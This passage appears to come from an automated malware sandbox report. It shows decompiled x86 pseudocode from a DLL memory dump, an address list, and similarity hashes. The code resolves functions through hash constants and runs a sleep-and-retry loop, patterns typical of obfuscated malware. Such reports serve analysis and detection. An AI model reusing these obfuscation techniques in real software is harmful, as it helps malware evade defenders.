                                                                                                                                              				_t361 =  &_v156;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v156 + 0x10)) = 0x60014416;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v156, E6EBDF4CC(_t361) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v160, E6EBDF4CC( &_v160) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v168 = _v168 + 1;
                                                                                                                                              				_t365 =  &_v164;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v164 + 0x10)) = 0x9376283c;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v164, E6EBDF4CC(_t365) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v168, E6EBDF4CC( &_v168) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v176 = _v176 + 1;
                                                                                                                                              				_t369 =  &_v172;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v172 + 0x10)) = 0x1c6ef387;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v172, E6EBDF4CC(_t369) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v176, E6EBDF4CC( &_v176) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v184 = _v184 + 1;
                                                                                                                                              				_t373 =  &_v180;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v180 + 0x10)) = 0x45b68b68;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v180, E6EBDF4CC(_t373) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v184, E6EBDF4CC( &_v184) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v192 = _v192 + 1;
                                                                                                                                              				_t377 =  &_v188;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v188 + 0x10)) = 0x5d116ac0;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v188, E6EBDF4CC(_t377) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v192, E6EBDF4CC( &_v192) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v200 = _v200 + 1;
                                                                                                                                              				_t381 =  &_v196;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v196 + 0x10)) = 0x4b736e38;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v196, E6EBDF4CC(_t381) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v200, E6EBDF4CC( &_v200) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v208 = _v208 + 1;
                                                                                                                                              				_t385 =  &_v204;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v204 + 0x10)) = 0x5e0afaa3;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v204, E6EBDF4CC(_t385) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v208, E6EBDF4CC( &_v208) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_t434 = _t480;
                                                                                                                                              				 *_t434 =  *_t434 + 1;
                                                                                                                                              				E6EBE4200(0x60a28c5c, _t434);
                                                                                                                                              				E6EBDF4BC( &_v212, 0x10);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x450], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v216, 0x20);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x458], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v220, 0x30);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x460], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v224, 0x40);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x468], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v228, 0x50);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x470], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v232, 0x60);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x478], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v236, 0x70);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x480], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v240, 0x80);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x488], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v244, 0x90);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x490], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v248, 0xa0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x498], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v252, 0xb0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4a0], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v256, 0xc0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4a8], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v260, 0xd0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4b0], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v264, 0xe0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4b8], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v268, 0xf0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4c0], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v272, 0x100);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4c8], xmm0");
                                                                                                                                              				_t282 = E6EBDF4BC( &_v276, 0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [esp], xmm0");
                                                                                                                                              				_v252 = E6EBD1D2C(_v248, _t434, _t481, _t282, _t282);
                                                                                                                                              				_t318 = _t434;
                                                                                                                                              				E6EBDB27C( &_v248, _v256, _t481, _v252, _t318);
                                                                                                                                              				E6EBDF840( &_v296, _t481);
                                                                                                                                              				_v300 = 0;
                                                                                                                                              				_t410 =  &_v296;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v296 + 0x10)) = 0x3e0af193;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v296, E6EBDF4CC(_t410) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v300, E6EBDF4CC( &_v300) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v308 = _v308 + 1;
                                                                                                                                              				_t414 =  &_v304;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v304 + 0x10)) = 0xb5ca9b57;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v304, E6EBDF4CC(_t414) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v308, E6EBDF4CC( &_v308) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v316 = _v316 + 1;
                                                                                                                                              				_t418 =  &_v312;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v312 + 0x10)) = 0xdba36f91;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v312, E6EBDF4CC(_t418) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v316, E6EBDF4CC( &_v316) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				_v324 = _v324 + 1;
                                                                                                                                              				_t422 =  &_v320;
                                                                                                                                              				asm("pxor xmm0, xmm0");
                                                                                                                                              				 *((intOrPtr*)( &_v320 + 0x10)) = 0x2d1ecde3;
                                                                                                                                              				asm("movq [ecx+0x18], xmm0");
                                                                                                                                              				E6EBDF828( &_v320, E6EBDF4CC(_t422) + 0x10);
                                                                                                                                              				E6EBDF4BC( &_v324, E6EBDF4CC( &_v324) + 0xfffffff0);
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				asm("movsd");
                                                                                                                                              				 *_t480 =  *_t480 + 1;
                                                                                                                                              				_t310 = _t480;
                                                                                                                                              				_push(_t310);
                                                                                                                                              				_push(_t318);
                                                                                                                                              				_push(_v292);
                                                                                                                                              				_t154 = _t310 + 0x2c; // 0x2c
                                                                                                                                              				E6EBDB9FC(_t154,  *_t480);
                                                                                                                                              				E6EBDF4BC( &_v340, 0);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4d8], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v344, 0x10);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4e0], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v348, 0x20);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4d0], xmm0");
                                                                                                                                              				E6EBDF4BC( &_v352, 0x30);
                                                                                                                                              				asm("movq xmm0, [eax+0x8]");
                                                                                                                                              				asm("movq [ebp+0x4e8], xmm0");
                                                                                                                                              				E6EBDF654( &_v316);
                                                                                                                                              				return E6EBDF654( &_v356);
                                                                                                                                              			}
















































































                                                                                                                                              0x6ebd1494
                                                                                                                                              0x6ebd1498
                                                                                                                                              0x6ebd149d
                                                                                                                                              0x6ebd14a3
                                                                                                                                              0x6ebd14ab
                                                                                                                                              0x6ebd14b0
                                                                                                                                              0x6ebd14bc
                                                                                                                                              0x6ebd14c0
                                                                                                                                              0x6ebd14d2
                                                                                                                                              0x6ebd14e8
                                                                                                                                              0x6ebd14f3
                                                                                                                                              0x6ebd14f4
                                                                                                                                              0x6ebd14f5
                                                                                                                                              0x6ebd14f6
                                                                                                                                              0x6ebd14f7
                                                                                                                                              0x6ebd14fa
                                                                                                                                              0x6ebd14fe
                                                                                                                                              0x6ebd1502
                                                                                                                                              0x6ebd1509
                                                                                                                                              0x6ebd151b
                                                                                                                                              0x6ebd1531
                                                                                                                                              0x6ebd153c
                                                                                                                                              0x6ebd153d
                                                                                                                                              0x6ebd153e
                                                                                                                                              0x6ebd153f
                                                                                                                                              0x6ebd1540
                                                                                                                                              0x6ebd1543
                                                                                                                                              0x6ebd1547
                                                                                                                                              0x6ebd154b
                                                                                                                                              0x6ebd1552
                                                                                                                                              0x6ebd1564
                                                                                                                                              0x6ebd157a
                                                                                                                                              0x6ebd1585
                                                                                                                                              0x6ebd1586
                                                                                                                                              0x6ebd1587
                                                                                                                                              0x6ebd1588
                                                                                                                                              0x6ebd1589
                                                                                                                                              0x6ebd158c
                                                                                                                                              0x6ebd1590
                                                                                                                                              0x6ebd1594
                                                                                                                                              0x6ebd159b
                                                                                                                                              0x6ebd15ad
                                                                                                                                              0x6ebd15c3
                                                                                                                                              0x6ebd15ce
                                                                                                                                              0x6ebd15cf
                                                                                                                                              0x6ebd15d0
                                                                                                                                              0x6ebd15d1
                                                                                                                                              0x6ebd15d2
                                                                                                                                              0x6ebd15d5
                                                                                                                                              0x6ebd15d9
                                                                                                                                              0x6ebd15dd
                                                                                                                                              0x6ebd15e4
                                                                                                                                              0x6ebd15f6
                                                                                                                                              0x6ebd160c
                                                                                                                                              0x6ebd1617
                                                                                                                                              0x6ebd1618
                                                                                                                                              0x6ebd1619
                                                                                                                                              0x6ebd161a
                                                                                                                                              0x6ebd161b
                                                                                                                                              0x6ebd161e
                                                                                                                                              0x6ebd1622
                                                                                                                                              0x6ebd1626
                                                                                                                                              0x6ebd162d
                                                                                                                                              0x6ebd163f
                                                                                                                                              0x6ebd1655
                                                                                                                                              0x6ebd1660
                                                                                                                                              0x6ebd1661
                                                                                                                                              0x6ebd1662
                                                                                                                                              0x6ebd1663
                                                                                                                                              0x6ebd1664
                                                                                                                                              0x6ebd1667
                                                                                                                                              0x6ebd166b
                                                                                                                                              0x6ebd166f
                                                                                                                                              0x6ebd1676
                                                                                                                                              0x6ebd1688
                                                                                                                                              0x6ebd169e
                                                                                                                                              0x6ebd16a9
                                                                                                                                              0x6ebd16aa
                                                                                                                                              0x6ebd16ab
                                                                                                                                              0x6ebd16ac
                                                                                                                                              0x6ebd16ad
                                                                                                                                              0x6ebd16b0
                                                                                                                                              0x6ebd16b4
                                                                                                                                              0x6ebd16b8
                                                                                                                                              0x6ebd16bf
                                                                                                                                              0x6ebd16d1
                                                                                                                                              0x6ebd16e7
                                                                                                                                              0x6ebd16f2
                                                                                                                                              0x6ebd16f3
                                                                                                                                              0x6ebd16f4
                                                                                                                                              0x6ebd16f5
                                                                                                                                              0x6ebd16f6
                                                                                                                                              0x6ebd16f9
                                                                                                                                              0x6ebd16fd
                                                                                                                                              0x6ebd1701
                                                                                                                                              0x6ebd1708
                                                                                                                                              0x6ebd171a
                                                                                                                                              0x6ebd1730
                                                                                                                                              0x6ebd173b
                                                                                                                                              0x6ebd173c
                                                                                                                                              0x6ebd173d
                                                                                                                                              0x6ebd173e
                                                                                                                                              0x6ebd173f
                                                                                                                                              0x6ebd1742
                                                                                                                                              0x6ebd1746
                                                                                                                                              0x6ebd174a
                                                                                                                                              0x6ebd1751
                                                                                                                                              0x6ebd1763
                                                                                                                                              0x6ebd1779
                                                                                                                                              0x6ebd1784
                                                                                                                                              0x6ebd1785
                                                                                                                                              0x6ebd1786
                                                                                                                                              0x6ebd1787
                                                                                                                                              0x6ebd1788
                                                                                                                                              0x6ebd178b
                                                                                                                                              0x6ebd178f
                                                                                                                                              0x6ebd1793
                                                                                                                                              0x6ebd179a
                                                                                                                                              0x6ebd17ac
                                                                                                                                              0x6ebd17c2
                                                                                                                                              0x6ebd17cd
                                                                                                                                              0x6ebd17ce
                                                                                                                                              0x6ebd17cf
                                                                                                                                              0x6ebd17d0
                                                                                                                                              0x6ebd17d1
                                                                                                                                              0x6ebd17d4
                                                                                                                                              0x6ebd17d8
                                                                                                                                              0x6ebd17dc
                                                                                                                                              0x6ebd17e3
                                                                                                                                              0x6ebd17f5
                                                                                                                                              0x6ebd180b
                                                                                                                                              0x6ebd1816
                                                                                                                                              0x6ebd1817
                                                                                                                                              0x6ebd1818
                                                                                                                                              0x6ebd1819
                                                                                                                                              0x6ebd181a
                                                                                                                                              0x6ebd181d
                                                                                                                                              0x6ebd1821
                                                                                                                                              0x6ebd1825
                                                                                                                                              0x6ebd182c
                                                                                                                                              0x6ebd183e
                                                                                                                                              0x6ebd1854
                                                                                                                                              0x6ebd185f
                                                                                                                                              0x6ebd1860
                                                                                                                                              0x6ebd1861
                                                                                                                                              0x6ebd1862
                                                                                                                                              0x6ebd1863
                                                                                                                                              0x6ebd1866
                                                                                                                                              0x6ebd186a
                                                                                                                                              0x6ebd186e
                                                                                                                                              0x6ebd1875
                                                                                                                                              0x6ebd1887
                                                                                                                                              0x6ebd189d
                                                                                                                                              0x6ebd18a8
                                                                                                                                              0x6ebd18a9
                                                                                                                                              0x6ebd18aa
                                                                                                                                              0x6ebd18ab
                                                                                                                                              0x6ebd18ac
                                                                                                                                              0x6ebd18af
                                                                                                                                              0x6ebd18b3
                                                                                                                                              0x6ebd18b7
                                                                                                                                              0x6ebd18be
                                                                                                                                              0x6ebd18d0
                                                                                                                                              0x6ebd18e6
                                                                                                                                              0x6ebd18f1
                                                                                                                                              0x6ebd18f2
                                                                                                                                              0x6ebd18f3
                                                                                                                                              0x6ebd18f4
                                                                                                                                              0x6ebd18f5
                                                                                                                                              0x6ebd18f8
                                                                                                                                              0x6ebd18fc
                                                                                                                                              0x6ebd1900
                                                                                                                                              0x6ebd1907
                                                                                                                                              0x6ebd1919
                                                                                                                                              0x6ebd192f
                                                                                                                                              0x6ebd193a
                                                                                                                                              0x6ebd193b
                                                                                                                                              0x6ebd193c
                                                                                                                                              0x6ebd193d
                                                                                                                                              0x6ebd193e
                                                                                                                                              0x6ebd1941
                                                                                                                                              0x6ebd1945
                                                                                                                                              0x6ebd1949
                                                                                                                                              0x6ebd1950
                                                                                                                                              0x6ebd1962
                                                                                                                                              0x6ebd1978
                                                                                                                                              0x6ebd1983
                                                                                                                                              0x6ebd1984
                                                                                                                                              0x6ebd1985
                                                                                                                                              0x6ebd1986
                                                                                                                                              0x6ebd198c
                                                                                                                                              0x6ebd198f
                                                                                                                                              0x6ebd1991
                                                                                                                                              0x6ebd199c
                                                                                                                                              0x6ebd19a3
                                                                                                                                              0x6ebd19ac
                                                                                                                                              0x6ebd19b4
                                                                                                                                              0x6ebd19bb
                                                                                                                                              0x6ebd19c4
                                                                                                                                              0x6ebd19cc
                                                                                                                                              0x6ebd19d3
                                                                                                                                              0x6ebd19dc
                                                                                                                                              0x6ebd19e4
                                                                                                                                              0x6ebd19eb
                                                                                                                                              0x6ebd19f4
                                                                                                                                              0x6ebd19fc
                                                                                                                                              0x6ebd1a03
                                                                                                                                              0x6ebd1a0c
                                                                                                                                              0x6ebd1a14
                                                                                                                                              0x6ebd1a1b
                                                                                                                                              0x6ebd1a24
                                                                                                                                              0x6ebd1a2c
                                                                                                                                              0x6ebd1a36
                                                                                                                                              0x6ebd1a3f
                                                                                                                                              0x6ebd1a47
                                                                                                                                              0x6ebd1a51
                                                                                                                                              0x6ebd1a5a
                                                                                                                                              0x6ebd1a62
                                                                                                                                              0x6ebd1a6c
                                                                                                                                              0x6ebd1a75
                                                                                                                                              0x6ebd1a7d
                                                                                                                                              0x6ebd1a87
                                                                                                                                              0x6ebd1a90
                                                                                                                                              0x6ebd1a98
                                                                                                                                              0x6ebd1aa2
                                                                                                                                              0x6ebd1aab
                                                                                                                                              0x6ebd1ab3
                                                                                                                                              0x6ebd1abd
                                                                                                                                              0x6ebd1ac6
                                                                                                                                              0x6ebd1ace
                                                                                                                                              0x6ebd1ad8
                                                                                                                                              0x6ebd1ae1
                                                                                                                                              0x6ebd1ae9
                                                                                                                                              0x6ebd1af3
                                                                                                                                              0x6ebd1afc
                                                                                                                                              0x6ebd1b04
                                                                                                                                              0x6ebd1b0e
                                                                                                                                              0x6ebd1b17
                                                                                                                                              0x6ebd1b1f
                                                                                                                                              0x6ebd1b26
                                                                                                                                              0x6ebd1b2f
                                                                                                                                              0x6ebd1b37
                                                                                                                                              0x6ebd1b3e
                                                                                                                                              0x6ebd1b43
                                                                                                                                              0x6ebd1b51
                                                                                                                                              0x6ebd1b55
                                                                                                                                              0x6ebd1b64
                                                                                                                                              0x6ebd1b6d
                                                                                                                                              0x6ebd1b72
                                                                                                                                              0x6ebd1b79
                                                                                                                                              0x6ebd1b7d
                                                                                                                                              0x6ebd1b81
                                                                                                                                              0x6ebd1b88
                                                                                                                                              0x6ebd1b9a
                                                                                                                                              0x6ebd1bb0
                                                                                                                                              0x6ebd1bbb
                                                                                                                                              0x6ebd1bbc
                                                                                                                                              0x6ebd1bbd
                                                                                                                                              0x6ebd1bbe
                                                                                                                                              0x6ebd1bbf
                                                                                                                                              0x6ebd1bc2
                                                                                                                                              0x6ebd1bc6
                                                                                                                                              0x6ebd1bca
                                                                                                                                              0x6ebd1bd1
                                                                                                                                              0x6ebd1be3
                                                                                                                                              0x6ebd1bf9
                                                                                                                                              0x6ebd1c04
                                                                                                                                              0x6ebd1c05
                                                                                                                                              0x6ebd1c06
                                                                                                                                              0x6ebd1c07
                                                                                                                                              0x6ebd1c08
                                                                                                                                              0x6ebd1c0b
                                                                                                                                              0x6ebd1c0f
                                                                                                                                              0x6ebd1c13
                                                                                                                                              0x6ebd1c1a
                                                                                                                                              0x6ebd1c2c
                                                                                                                                              0x6ebd1c42
                                                                                                                                              0x6ebd1c4d
                                                                                                                                              0x6ebd1c4e
                                                                                                                                              0x6ebd1c4f
                                                                                                                                              0x6ebd1c50
                                                                                                                                              0x6ebd1c51
                                                                                                                                              0x6ebd1c54
                                                                                                                                              0x6ebd1c58
                                                                                                                                              0x6ebd1c5c
                                                                                                                                              0x6ebd1c63
                                                                                                                                              0x6ebd1c75
                                                                                                                                              0x6ebd1c8b
                                                                                                                                              0x6ebd1c96
                                                                                                                                              0x6ebd1c97
                                                                                                                                              0x6ebd1c98
                                                                                                                                              0x6ebd1c99
                                                                                                                                              0x6ebd1c9a
                                                                                                                                              0x6ebd1c9d
                                                                                                                                              0x6ebd1ca0
                                                                                                                                              0x6ebd1ca1
                                                                                                                                              0x6ebd1ca2
                                                                                                                                              0x6ebd1ca9
                                                                                                                                              0x6ebd1cac
                                                                                                                                              0x6ebd1cb7
                                                                                                                                              0x6ebd1cbe
                                                                                                                                              0x6ebd1cc7
                                                                                                                                              0x6ebd1ccf
                                                                                                                                              0x6ebd1cd6
                                                                                                                                              0x6ebd1cdf
                                                                                                                                              0x6ebd1ce7
                                                                                                                                              0x6ebd1cee
                                                                                                                                              0x6ebd1cf7
                                                                                                                                              0x6ebd1cff
                                                                                                                                              0x6ebd1d04
                                                                                                                                              0x6ebd1d0d
                                                                                                                                              0x6ebd1d15
                                                                                                                                              0x6ebd1d2a

                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID: 8nsK
                                                                                                                                              • API String ID: 0-3012451157
                                                                                                                                              • Opcode ID: 0169b8ceb924bd624878aa4738d3681c76bd49814fd1019c6749b6d78cbf519c
                                                                                                                                              • Instruction ID: 9801ab454050ad4509c5bf1063fc05f992523d2f04f390fde287490d4e6536c9
                                                                                                                                              • Opcode Fuzzy Hash: 0169b8ceb924bd624878aa4738d3681c76bd49814fd1019c6749b6d78cbf519c
                                                                                                                                              • Instruction Fuzzy Hash: B832E9724287469AC716DF60C9505DF7BA4EFA1208F208F0DF5895A1B2FF71E98ECA41
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 84%
                                                                                                                                              			E6EBDA4E8(signed int* __ecx, void* __eflags) {
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* __ebp;
                                                                                                                                              				void* _t182;
                                                                                                                                              				signed int _t183;
                                                                                                                                              				signed int* _t188;
                                                                                                                                              				void* _t198;
                                                                                                                                              				void* _t199;
                                                                                                                                              				void* _t228;
                                                                                                                                              				void* _t229;
                                                                                                                                              				void* _t242;
                                                                                                                                              				void* _t243;
                                                                                                                                              				void* _t251;
                                                                                                                                              				signed int* _t271;
                                                                                                                                              				void* _t282;
                                                                                                                                              				void* _t284;
                                                                                                                                              				void* _t285;
                                                                                                                                              				void* _t296;
                                                                                                                                              				signed int* _t308;
                                                                                                                                              				void* _t324;
                                                                                                                                              				signed int _t398;
                                                                                                                                              				signed int _t402;
                                                                                                                                              				intOrPtr* _t403;
                                                                                                                                              				intOrPtr* _t404;
                                                                                                                                              				signed int _t406;
                                                                                                                                              				signed int _t407;
                                                                                                                                              				signed int _t409;
                                                                                                                                              				signed int _t411;
                                                                                                                                              				signed int _t412;
                                                                                                                                              				void* _t413;
                                                                                                                                              				signed int _t414;
                                                                                                                                              				signed int _t415;
                                                                                                                                              				signed int _t416;
                                                                                                                                              				signed int _t419;
                                                                                                                                              				void* _t420;
                                                                                                                                              				signed int _t421;
                                                                                                                                              				void* _t422;
                                                                                                                                              				signed int _t424;
                                                                                                                                              				signed int _t429;
                                                                                                                                              				signed int _t433;
                                                                                                                                              				signed int _t434;
                                                                                                                                              				signed int _t437;
                                                                                                                                              				intOrPtr* _t439;
                                                                                                                                              
                                                                                                                                              				_t308 = __ecx;
                                                                                                                                              				 *(_t439 + 0x78) = 0;
                                                                                                                                              				 *_t439 = __ecx + 8;
                                                                                                                                              				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
                                                                                                                                              				while(1) {
                                                                                                                                              					_t392 =  *_t308;
                                                                                                                                              					E6EBDB658(_t439 + 0x24, _t392, 0x7fffffff);
                                                                                                                                              					if(E6EBDF4D0(_t439 + 0x24) == 0) {
                                                                                                                                              						goto L3;
                                                                                                                                              					} else {
                                                                                                                                              						_t308[0xc] = 0;
                                                                                                                                              						E6EBDF654(_t439 + 0x24);
                                                                                                                                              					}
                                                                                                                                              					L63:
                                                                                                                                              					_t398 = 0xffffffffffffffff;
                                                                                                                                              					_t407 = 0xffffffffffffffff;
                                                                                                                                              					L65:
                                                                                                                                              					if((_t407 | _t398) != 0) {
                                                                                                                                              						L68:
                                                                                                                                              						return _t407;
                                                                                                                                              					}
                                                                                                                                              					if( *(_t439 + 0x78) != 0x20) {
                                                                                                                                              						E6EBE2234(0x5dc, _t392, _t407);
                                                                                                                                              						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
                                                                                                                                              						continue;
                                                                                                                                              					}
                                                                                                                                              					_t398 = 0xffffffffffffffff;
                                                                                                                                              					_t407 = 0xffffffffffffffff;
                                                                                                                                              					goto L68;
                                                                                                                                              					L3:
                                                                                                                                              					__eflags = _t308[1];
                                                                                                                                              					if(_t308[1] <= 0) {
                                                                                                                                              						L21:
                                                                                                                                              						__eflags =  *(_t439 + 0x20);
                                                                                                                                              						if( *(_t439 + 0x20) <= 0) {
                                                                                                                                              							L33:
                                                                                                                                              							E6EBDF654(_t439 + 0x24);
                                                                                                                                              							__eflags = _t308[0xc];
                                                                                                                                              							if(_t308[0xc] == 0) {
                                                                                                                                              								L46:
                                                                                                                                              								 *((intOrPtr*)(_t439 + 8)) = 0;
                                                                                                                                              								 *((intOrPtr*)(_t439 + 0xc)) = 0;
                                                                                                                                              								E6EBDF584(_t439 + 0x14, 0);
                                                                                                                                              								 *((intOrPtr*)(_t439 + 0x38)) = 0;
                                                                                                                                              								 *(_t439 + 0x34) =  *_t308;
                                                                                                                                              								E6EBDF584(_t439 + 0x40, 0);
                                                                                                                                              								_t182 = 0x40;
                                                                                                                                              								__eflags = _t308[7] - 0x40;
                                                                                                                                              								_t183 =  <  ? _t308[7] : _t182;
                                                                                                                                              								 *(_t439 + 0x74) = _t183;
                                                                                                                                              								__eflags = _t183;
                                                                                                                                              								if(_t183 <= 0) {
                                                                                                                                              									L57:
                                                                                                                                              									asm("movq xmm0, [0x6ebeb808]");
                                                                                                                                              									asm("movq [esp+0x84], xmm0");
                                                                                                                                              									_t406 = E6EBE3064(0x60a28c5c, 0x14e85b34);
                                                                                                                                              									__eflags = _t406;
                                                                                                                                              									if(_t406 == 0) {
                                                                                                                                              										_t424 = 0;
                                                                                                                                              										__eflags = 0;
                                                                                                                                              										L61:
                                                                                                                                              										__eflags = _t424 - 0x3f;
                                                                                                                                              										if(_t424 <= 0x3f) {
                                                                                                                                              											__eflags = _t424 << 2;
                                                                                                                                              											_t308[0xc] =  *(E6EBDF4BC( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
                                                                                                                                              											_t188 = E6EBDF4BC( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
                                                                                                                                              											_t407 = _t308[0xc];
                                                                                                                                              											asm("cdq");
                                                                                                                                              											_t308[0xd] =  *_t188;
                                                                                                                                              											_t398 = _t392;
